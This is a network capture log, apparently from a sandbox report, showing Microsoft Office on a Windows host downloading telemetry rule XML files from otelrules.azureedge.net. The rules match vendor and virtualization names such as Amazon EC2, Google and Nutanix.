2024-10-24 06:50:56 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:56 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 168e2c35-b01e-00ab-10df-25dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065056Z-16849878b78gvgmlcfru6nuc54000000079000000000as29 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 06:50:56 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49823	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:56 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:56 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:56 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 9658a421-401e-008c-7ff3-2486c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065056Z-15b8d89586fhl2qtatrz3vfkf000000004bg00000000gq51 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 06:50:56 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49826	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:56 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:56 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 6a28e11d-901e-0029-65f3-24274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065056Z-r197bdfb6b4lbgfqwkqbrm672s000000010000000000hzm9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:56 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49825	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:56 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:56 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:56 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: d4d27aa7-601e-0002-1812-22a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065056Z-16849878b78c5zx4gw8tcga1b4000000076g00000000a886 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:56 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49828	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:57 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:57 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:57 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9a9b06d2-601e-0032-5ff9-24eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065057Z-r197bdfb6b4kq4j5t834fh90qn0000000ah0000000001bq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:57 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49829	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:57 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:57 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:57 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: d1da18e8-e01e-0071-3016-2408e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065057Z-15b8d89586fcvr6p5956n5d0rc00000004eg0000000047hc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:57 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49827	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:57 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:57 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:57 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 71d2c1fc-001e-00a2-01de-21d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065057Z-16849878b785g992cz2s9gk35c00000007eg000000001vwm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:57 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49830	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:57 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:57 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:57 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2653a72e-001e-005a-26e6-21c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065057Z-16849878b78c2tmb7nhatnd68s00000007a000000000cg60 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:57 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49831	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:57 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:57 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:57 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: e692d532-001e-00a2-3ae7-20d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065057Z-16849878b78c2tmb7nhatnd68s00000007d0000000004uu2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:57 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49833	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:58 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:58 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:58 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 13fbacc8-201e-0003-23f4-24f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065058Z-r197bdfb6b4r9fwfbdwymmgex8000000014g000000002m0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:58 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49832	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:58 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:58 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:58 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 03f0aa2d-d01e-007a-29f2-24f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065058Z-15b8d89586flzzks5bs37v2b9000000002ug00000000e6nv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:58 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49834	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:58 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:58 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:58 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 8e6df999-101e-007a-77ef-24047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065058Z-15b8d89586fhl2qtatrz3vfkf000000004h00000000046w4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:58 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

